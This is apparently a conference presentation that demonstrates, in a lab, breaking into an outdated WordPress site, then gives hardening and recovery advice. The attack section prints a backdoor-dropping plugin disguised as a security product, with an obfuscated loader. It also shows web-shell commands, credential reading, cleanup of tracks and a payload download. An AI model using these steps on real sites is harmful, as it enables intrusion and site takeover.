You are here: Home » NewsFeeds » Attacking WordPress

Attacking WordPress

  • I am a system administrator and programmer who develops web applications and I support High Performance Research Computing at the University of Michigan.
  • In my previous job, I was in charge of of the main central web infrastructure for the University of Michigan for 5 years, including providing hosting for WordPress sites at U-M.
  • 19 years of experience dealing with computer security compromises / break-ins.
  • 11 years of experience dealing with web application security compromises / break-ins, including WordPress.
  • A security expert (much more knowledgeable than me).
  • A bad guy (much more capable than me, with access to “bad guy tools”).

This presentation could be much scarier if done by either a security expert or a bad guy.

This presentation is an updated but significantly cut down version of a presentation I gave for WordPress Ann Arbor in January 2014. Please see that presentation for more details, especially about what types of bad guys there are, what motivates them, and how to protect your WordPress sites.

Both security experts and bad guys will have much more time and focus than a generalist such as I am.

Bad guys have access to malware, including very sophisticated toolkits to compromise web sites, “black hat” forums, and more. Toolkits and exploits are routinely bought and sold for Bitcoin or dollars on black market sites.

This presentation uses only “good guy tools” because I don’t want to use untrustworthy software or wind up on some law enforcement agency’s list.

The previous presentation exploited a PHP code injection vulnerability in the W3 Total Cache plugin and start a command shell on the web server. Today’s presentation will instead exploit a SQL query injection vulnerability to add a new administrative user to the WordPress site via the database.

The purpose of this presentation is to show how easy it can be to take control of a WordPress site that is not kept up to date, in order to help motivate you to keep your own WordPress sites up to date and secure.

Everything we show in this presentation is fairly basic, widely available on the Internet, and easily findable with normal web searches. This presentation does not cover any expert or advanced techniques.

Still, using anything from this presentation without authorization against sites or computers that do not belong to you is illegal and likely carries severe penalties. Don’t do it.

  • WordPress 4.0 (latest version as of the time of this presentation).
    • Plugin: Custom Contact Forms version (one version older than the current release).

      “A customizable and intuitive contact form plugin for WordPress.”
      Downloaded over 641,000 times. Rated 3.8 out of 5 stars.

      Note! Version has a security problem! The current version, released August 4, 2014, is

  • Running on Ubuntu Server 14.04.1 LTS 64 bit (current LTS release), fully patched and updated.

Everything was set up according to the instructions at and The only extra thing that was done was to turn on SSH to allow command-line administration.

We’re using Ubuntu Server LTS because it is the most popular choice for people who run their own server.

Screen shot from the Kali Linux web page

The attacking system is running in a second virtual machine on my laptop, and, like the target, is not publicly accessible.

We’re using the latest release: Kali Linux 1.0.9, which is based on Debian 7 “Wheezy”.

Kali Linux,

  • A “good guy” tool that lets companies test their own networks for security problems.
  • It’s actually a collection of over 300 security tools, including tools to test security as well as forensic tools to recover from attacks.
  • It is a complete Linux system that can either be run as a “Live CD” or installed onto a computer.
  • We’re using it because it is the quickest, easiest way to launch our attack: download, boot, attack.

We’re actually going to use only three of the tools Kali Linux provides:

  • WPScan: Finds security problems on WordPress sites and performs brute-force discovery of WordPress usernames and passwords.
  • Metasploit: A very sophisticated security testing framework that includes a web interface to let us launch attacks without needing in-depth technical expertise.
  • Weevely: A “PHP web shell” that, when uploaded to a site, allows backdoor access and (potentially) full control of the web server.

Instead of using Kali Linux, we could just download and install WPScan, Metasploit, and Weevely. This requires only a tiny bit more technical knowledge than using Kali Linux does, plus a bit more configuration work, and is very do-able. We’re just being extra lazy.

To find out how to use WPScan, run it with the --help option:

root@badguy2: ~# wpscan --help
        __          _______   _____                  
                 / /  __  / ____|                 
            /  / /| |__) | (___   ___  __ _ _ __  
           /  / / |  ___/ ___  / __|/ _` | '_  
             /  /  | |     ____) | (__| (_| | | | |
            /  /   |_|    |_____/ ___|__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u        The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based ""
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c    Use the specified config file, see the example.conf.json.
--user-agent   | -a     Use the specified User-Agent.
--cookie                    String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir    WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir    Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy     Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth     Supply the proxy login credentials.
--basic-auth     Set the HTTP Basic authentication.
--wordlist | -w           Supply a wordlist for the password bruter and do the brute.
--username | -U           Only brute force the supplied username.
--threads  | -t  The number of threads to use when multi-threading requests.
--cache-ttl              Typhoeus cache TTL.
--request-timeout  Request Timeout.
--connect-timeout  Connect Timeout.
--max-threads          Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url --proxy

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url --proxy socks5://

-Use custom content directory ...
ruby ./wpscan.rb -u --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url --debug-output 2>debug.log

See README for further information.

root@badguy2: ~# 

Let’s look at

root@badguy2: ~# wpscan --url
        __          _______   _____                  
                 / /  __  / ____|                 
            /  / /| |__) | (___   ___  __ _ _ __  
           /  / / |  ___/ ___  / __|/ _` | '_  
             /  /  | |     ____) | (__| (_| | | | |
            /  /   |_|    |_____/ ___|__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL:
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: ''
[!] The WordPress '' file exists
[+] Interesting header: LINK: ; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under:
[!] Upload directory has directory listing enabled:

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location:
[!] Directory listing is enabled:
 |  Style URL:
 |  Theme Name: ORCI
 |  Theme URI:
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI:

[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location:
 |  Readme:
 |  Style URL:
 |  Theme Name: Twenty Eleven
 |  Theme URI:
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI:

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: jquery-colorbox - v4.6
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: mailchimp - v1.4.1
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: page-list - v4.2
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: social - v2.11
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: wp-paginate - v1.2.4
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Name: youtube-shortcode - v1.8.5
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~# 

This is a WordPress site I use a lot at work.

WPScan can tell that the server runs Apache, but not what version.

Despite the #1 thing for keeping people from breaking into your site being to always keep up-to-date with the latest versions of everything, this site is still running WordPress 3.8.1. That’s very bad; unfortunately, it’s not uncommon.

WPScan found nine security vulnerabilities. Many are probably not anything that would be useful to the casual attacker, but some might be. Read the details at each of the reference URLs that WPScan provides to find out more.

WPScan found one theme (“orci”, which it can tell is a child theme of Twenty Eleven), and eight plugins. There are likely more which could be found by running WPScan with an exhaustive plugin search (“wpscan --enumerate ap“).

Note the web server configuration that permits the content of many directories to be listed — this is potentially very useful to an attacker.

If we wanted to attack this site, WPScan has given us a lot of potential avenues to explore.

Now, our intended target,

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url
        __          _______   _____                  
                 / /  __  / ____|                 
            /  / /| |__) | (___   ___  __ _ _ __  
           /  / / |  ___/ ___  / __|/ _` | '_  
             /  /  | |     ____) | (__| (_| | | | |
            /  /   |_|    |_____/ ___|__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL:
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress '' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under:

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location:
 |  Style URL:
 |  Theme Name: Twenty Fourteen
 |  Theme URI:
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI:

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location:
 |  Readme:
[!] Directory listing is enabled:

[!] Title: Custom Contact Forms <= - Cross Site Scripting

[!] Title: Custom Contact Forms <= Database Import/Export
[i] Fixed in:

[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit

WPScan was not only able to tell what web server software is being used, but also the versions of both Apache HTTP Server and PHP.

WPScan found the Custom Contacts Form plugin and correctly noticed a database vulnerablity in it.

Metasploit is available in four editions:

  • Metasploit Framework (free and open source, command line only)
  • Metasploit Community (free, includes web interface)
  • Metasploit Express, Metasploit Pro (commercial)

To run the Metasploit web interface under Kali Linux, type the following commands:

  service postgresql start
  service metasploit start

Wait a few minutes for Metasploit to start and create its databases, then go to

Everything we’re doing in this presentation can work with any of the editions. For this demo, we’re using Metasploit Community.

Basic steps:

  1. Create a Metasploit user account.
  2. Get and enter a license key (Community, Express, Pro editions).
  3. Create a project.
  4. Choose and run an exploit, breaking into the target’s site.
  5. Do what you want to the target’s site.

Steps 1 and 2 have already been done, we’ll start with step 3.

A project is like a container that keeps track of systems that are being tested, and results of the tests.

Metasploit web interface – main page:

Screenshot of the Metasploit web interface main page

This is the page a user gets after they create a Metasploit user account, request and enter a product key, and log in.

Click on the New Project button to begin.


Creating a new project:

Screenshot of the Metasploit web interface New Project page

Just enter a name for the project and either the networks or IP addresses you’ll be testing and then click the Create Project button.

To speed things up, since we’re working with a single target, we’ll specify just its IP address instead of specifying a network range.

Project overview page:

Screenshot of the Metasploit web interface project overview page

Normally, we’d let Metasploit do a scan and then use the “Exploit” button to attempt to break into the sites that it found. But, since we know from WPScan that this site is running a vulnerable plugin, to save time, click on “Modules” in the top menu and select “Search…”. Then search for “wordpress”.

We’re actually using Metasploit here far below the level of complexity for which it is intended.

List of Metasploit WordPress exploit modules:

Screenshot of the list of Metasploit exploit modules for WordPress

Click on “WordPress custom-contact-forms Plugin SQL Upload”.

WordPress has a lot of vulnerabilities that are not listed here. If we’re interested in anything not shown, we can create an Metasploit module for it ourselves, or we could exploit it outside of Metasploit, either by hand or by using a different tool.


WordPress custom-contact-forms exploit module:

Screenshot of the Custom Contact Form exploit module options page

Although there are a lot of options that can be set, all we need to do is make sure that the IP address of our target system is correct and then click “Run Module”. Metasploit will then attempt to create a new administrator user for us on the target WordPress site.

To make everything fit on this slide, I’ve edited out the fields that normally show up in the “Module Options” section.

Running the exploit:

Screenshot of the successful exploit

That’s all there is to it! The WordPress site has now been compromised, and we should be able to log in as an administrator.

Note that the exploit module first determined the WordPress database table prefix, then uploaded SQL queries to create the administrator account.

Attacker logging in to WordPress using the credentials created by the successful exploit

The most effective way to make things harder for the attacker at this point is to have the login page not be accessible. For example, if the attacker is in Vietnam but the login page is only accessible from IP addresses in Ann Arbor, the attacker would need to use a VPN, use the vulnerability in CCF to steal session information from the WordPress database, or leverage another SQL-based avenue of attack.

Screenshot of the WordPress Users page, showing the new administrative user

As you can see, the user created by the exploit is an administrator can can do anything the owner of the blog can do via WordPress.

But, it’s pretty obvious that the compromise has taken place. If the real owner of the site checks, they’ll see our account, delete it, and probably upgrade everything.

  • We could create or change some posts and hope that the owner of the site doesn’t notice. This could include adding SEO or links to other sites, or uploading drive-by attack kits to compromise the computers of anyone who visits the site. But we should probably assume that the owner of the site will notice, either sooner or later.
  • We could lock the owner out of the site by changing their password or just trashing the site, but they’d probably just regain control through their hosting provider and then restore from backup. (They keep regular, recent, verified-good backups of their entire WordPress site, right?)
  • Or, we could install a hidden back door that gives us full control of the server — right now we only have control of WordPress itself and can only do things that WordPress allows administrators to do — and then cover our tracks by deleting the administrator account we just created…
  • Weevely is a stealth PHP web shell that provides a telnet-like console. It is an essential tool for web application post exploitation, and can be used as stealth backdoor.”
  • Weevely contains “More than 30 modules to automate administration and post exploitation tasks”.
  • A Weevely tutorial is available.
  • Weevely comes as a standard part of Kali Linux.
  • To create the backdoor code that you can then upload to a web server to gain stealth remote access to the web server, run the command weevely generate and give it the password you want to use to control access to the backdoor:

root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'

There are dozens of other PHP shells and backdoors; we chose Weevely just because it was convenient and included with Kali Linux.

Here’s the obfuscated PHP code (weevely.php) that Weevely created for us to upload:

This is valid PHP code that accepts a command from the attacker, verifies the attacker’s password, and, if it checks out, runs the command.

If we put this weevely.php file in the main WordPress directory, then we’d be able to access our back door at (although we’d have to use Weevely to access it there, going there with a web browser will just show a blank page).

In addition to being obfuscated, the code has some random elements that are unique to each piece of code Weevely generates — this helps to prevent anti-virus software and other malware scanners from detecting the code once it is uploaded.

So how do we get the weevely.php file onto the target web server?

  • Thanks the Metasploit exploit module, we have an administrator account on the WordPress site, and
    WordPress administrators can upload plugins containing .php files.
  • But a plugin that isn’t supposed to be present will be even more obvious than the administrator account that isn’t supposed to be there — people are more likely to look at their site’s plugins than their site’s users. And the owner of the site can just delete our backdoor-containing plugin.
  • So we upload a plugin that creates the backdoor when the plugin gets activated, and have the plugin put the backdoor outside of the plugin directory. Then we delete both the plugin and the administrator account ourselves to hide evidence that the WordPress site has been compromised.
  • We’ll put the backdoor into the main WordPress directory and name it wp-options.php (which isn’t a part of WordPress) to help it blend in with legitimate files.

Other choices for where to install the backdoor include in a hidden directory that we create, or deep in the wp-content/uploads directory.

We want to avoid putting the backdoor in the wp-admin or wp-includes directory as these directories can be deleted during WordPress upgrades.

Our backdoor-delivering plugin looks like this:

Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI:
License: GPL3

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
 * Enhanced Security Keys and Salts.
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 * @since 4.0.0
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();

  $str = "n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );


register_activation_hook( __FILE__, 'wesp_activate' );


The header of the plugin is full of lies, in case someone loads the WordPress plugin page during the brief amount of time we will have the plugin installed.

There is only one function, which we arrange to get called when the plugin is activated. This function creates the new file /var/www/html/wp-options.php and writes the Weevely backdoor into it.

Note that we add some comments — which are all lies — to the beginning of the backdoor file to make it seem more innocuous, in case the owner of the site finds and looks at it. Security keys and salts shouldn’t be messed with and look pretty similar to obfuscated PHP code, right?

Also note that we removed the PHP tags from the Weevely file, and we add them in afterward — this is to prevent them from being acted on prematurely when the plugin itself is running.

Zip up our wp-elite-security plugin, upload it, and activate it:

Screenshot of the activated, backdoor-delivering plugin

Now that our backdoor is installed, we can connect from the attacking machine directly to the web server to run any commands we want:

root@badguy2: ~# weevely L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/'

www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $
[] Error downloading TOR exit list: ''
[] Error downloading TOR exit list: ''
| client_ip          |                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
www-data@myblog2:/var/www/html $ 

You can type :help to get a list of all of the built-in commands Weevely supports. Anything that does not begin with a colon is run as a command on the target web server.

Now that we know our backdoor works, cover our tracks by doing the following using our WordPress administrator account:

  • Disable the plugin we just installed.
  • Delete the plugin we just installed.
  • We want to delete our administrator account, but we can’t use an account to delete itself. So just log out.

We can delete the administrator user created by the exploit by directly modifying the WordPress database. We can create another administrator user later, if needed.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"
[sql.console] No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
[sql.console] No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | |  | 2014-10-03 00:15:16 |  | 0 | admin |
www-data@myblog2:/var/www/html $ 

We can read the database credentials from wp-config.php and use these to get any information we want from the WordPress database.

Let’s download some HTML files onto the WordPress server to set up an online store in a hidden directory.

The URL for our store will be

www-data@myblog2:/var/www/html $ curl -s -O
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $ 
[!] Exiting. Bye ^^
root@badguy2: ~# 

Now we’re ready to send 15 million emails with the URL to our store!

Screenshot of the attacker's online store on the target web server

This is the end of the presentation, but the slides that follow contain information on how to secure your WordPress site as well as reference material.


  1. Check for updates to WordPress, themes, and plugins at least once a week and perform the updates right away.

“But I don’t want to break anything!”

  • Have a “development” site where you try new things first before you do them on your live site. This could even be a WordPress installation on your laptop, if you don’t want to pay for hosting another site.
  • Wait no more than 2-3 days after an update becomes available, check forums for reports of problems, and if there are not any, then upgrade.
  • In the unlikely event that an upgrade breaks something, either downgrade to the previous version (via shell or SFTP access) or restore from backup (you do make regular backups, don’t you?)

You can download for free the BitNami Stack for WordPress from the Mac App Store for a very easy way to run a development WordPress site on your laptop.

A bit more work is using WAMP (Windows) or MAMP (Mac).

Or, for the most control, you can set up a server running Linux as a virtual machine on your laptop and use either a WordPress appliance or roll your own server.

Password concerns:

  • If the only people who log in to your site are you and authors, limit where people can log in from (via web server configuration).
  • Otherwise, use a plugin such as Limit Login Attempts or Login Security Solution that limits the number of login attempts to prevent brute-force password guessing.
  • Don’t make it easy for people to know what WordPress account names exist. Don’t have an account named “admin” (replace it if you have one), and make sure the names displayed for authors are not their login names (set up nicknames instead).

Password concerns:

  • Password guidelines:
    • Do not use the same password for multiple sites or accounts.
    • Do not have a “pattern” of passwords between multiple sites or accounts.
    • Make sure passwords are both long and complex.
  • Best: use random passwords with a password manager such as 1Password or PassPack.
  • Or: use four or more unrelated words (“correct horse battery staple“).
  • Or: use the first letter of each word from a sentence, adding in some numbers and punctuation.

Ars Technica published an article in March 2013 showing how easy it is to crack passwords.

If choosing words, don’t use any phrase — make sure the words are unrelated to each other. Even obscure phrases are easy to crack.

You are protecting two things: make your password hard to guess, and if one of you passwords get stolen (from this or another site) make sure that the attacker cannot use it for anything else.

Because password cracking is so easy, it is also a good idea to limit where users can log in from. Do you really need to log in to your site — without using a VPN — from a coffee shop in Vietnam?

Hosting and SSL:

  • Choose a reputable host that has a good security track record (ask them about guarantees they provide).
    • Prefer a host that lets you install and fully manage WordPress and all its themes and plugins yourself — this way, you are fully in control of your WordPress site’s security.
    • Prefer a host that maintains the operating system, web server, and database server for you, and also does backups for you.
      • Regularly check with your hosting provider to make sure they are staying up to date and running the latest versions of the operating system patches, web server, and database server for whatever distribution they use, and that they are not using a no-longer-supported distribution.
  • Enable SSL (HTTPS) for both your site’s login and admin pages.
    • If you don’t use SSL, your username and password will be sent across the network in clear text, and could be intercepted.
    • Prefer a host that takes care of getting an SSL certificate for you, managing/renewing it, and configuring the web server for SSL so that all you have to do it enable it in WordPress.

Don’t just select a host based on cost!

Web server and filesystem:

  • Block access to wp-includes and wp-admin/includes
  • Block access to .htaccess files
  • Block access to or remove .txt files and README files.
  • Set up a robots.txt file to prevent well-behaved crawlers from trying to index feeds, admin pages, includes, etc.
  • Make sure you never have any file or directory that is writable by anything other than the user that the web server runs as. (The last digit of permissions should always be 0, 4, or 5, never 6 or 7).


  • Secure your database:
    • When installing WordPress, choose a database table prefix other than wp_.
    • Remove the test database.
    • Remove anonymous database users.
    • Make sure that the database is not accessible from the Internet.
  • Enable file editing only when you need it to make changes to your themes. The rest of the time, keep it turned off by having the following line in wp-config.php:
define('DISALLOW_FILE_EDIT', true);
  • Scan your site with WPScan.
  • Note that changing the database prefix won’t stop the exploit we demonstrated today: the Metasploit exploit module determines the database table first before creating the new administrator user. However, changing the database prefix will stop other attacks and so is still worth doing.

    Turning on DISALLOW_FILE_EDIT may be a little paranoid.

    1. Take the site offline (put it into maintenance mode). This prevents the attacker from doing further damage or resisting your attempts to regain control while you are fixing things.
    2. Notify your hosting provider so they can help.
    3. Make a backup of the compromised site in case you need to study it later.
    4. Look at the web server log files to determine how the attacker got in. This will help you know how to fix the problem and what else you might need to look for that the attacker did.
    5. Upgrade everything that can be upgraded.
    6. Remove any files, pages, posts, comments or processes added by the attacker. If in doubt as to whether you got everything, set up a new WordPress site from scratch and then restore your last known good backup into it.
    7. Change all passwords used by the site. Also change your hosting provider and database passwords.
    • Don’t have registered WordPress users for anything except for author and administrator accounts. Use social media accounts for commenters.
    • Don’t deal in sensitive information on your site (credit cards, social security numbers, health information, etc.)
    • Set up automatic daily backups (of both files and database) and test the backups monthly.
    • Keep good notes on how you’ve set up your site, so that you know how everything is supposed to be configured.
    • Have a plan for what to do if you get compromised — who to contact, what to do, how to do it.

    Not using WordPress accounts for commenters removes a large trove of what are very probably horribly weak passwords associated with email addresses.

    Keeping good notes serves several purposes: first, you’ll have a record of how things are supposed to be, so you’ll be able to tell if an attacker changed something; second, you’ll be able to set up a new site with the same settings if needed without worrying if you got everything correct; third, it forces you to be more aware of the choices you’ve made and you’ll have a clearer understanding of the big picture for your site.

    The following sites are useful for finding information about WordPress vulnerabilities and exploits:

    If you want to know about vulnerabilities and how attackers exploit them, the OWASP Top 10 list (above) is a good place to start.

    Also of interest for advanced readers is the analysis of the PHP object serialization vulnerability that was one of the major vulnerabilities fixed in the September 2013 release of WordPress 3.6.1:

    <!– template:

    • [point one]
    • [point two]
    • [point three]
    • [point four]
    • [point five]
    [any material that should appear in print but not on the slide]



    Original article